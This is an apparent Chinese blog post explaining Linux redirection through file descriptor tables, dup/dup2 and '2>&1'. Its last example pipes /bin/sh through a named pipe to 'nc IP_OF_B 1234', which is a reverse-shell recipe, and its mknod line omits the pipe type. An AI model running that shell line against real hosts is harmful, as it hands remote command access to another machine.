理解Linux重定向

1. Linux中执行open操作,打开一个文件时,会在进程文件描述表中新添加一项(文件描述符id + 指向内核文件描述表项的指针)。

   文件描述符表

   ------------
fd0 0   | p0 -------------> 文件表0 ---------> vnode0
   ------------
fd1 1   | p1 -------------> 文件表1 ---------> vnode1
   ------------
fd2 2   | p2
   ------------


2. 重定向时,直接修改指向内核文件描述表项的指针。(dup, dup2系统调用)

> 将标准输出重定向到某个文件中。 (注:>&1 重定向到标准输出)

   文件描述符表

   ------------
fd0 0   | p0
   ------------
n_fd 1   | p1 -----------
   ------------               \
fd2 2   | p2                    \
   ------------                 _\|
fd3 3   | p3 -------------> 文件表3 ---------> vnode3
   ------------


3. >& 将标准输出和错误输出都重定向到指定文件。

如 make >& log 将make输出的所有信息都写入log文件中。(也可以这么写:make > log 2 >& 1)


4. 利用NC命令将主机A中的重定向到主机B:

1). B的终端中执行如下命令:

nc -lvn 1234

2). A中执行:

mknod /tmp/testpipe

/bin/sh 0</tmp/testpipe | nc IP_OF_B 1234 1>/tmp/testpipe


http://www.cnblogs.com/GODYCA/archive/2013/01/05/2846197.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值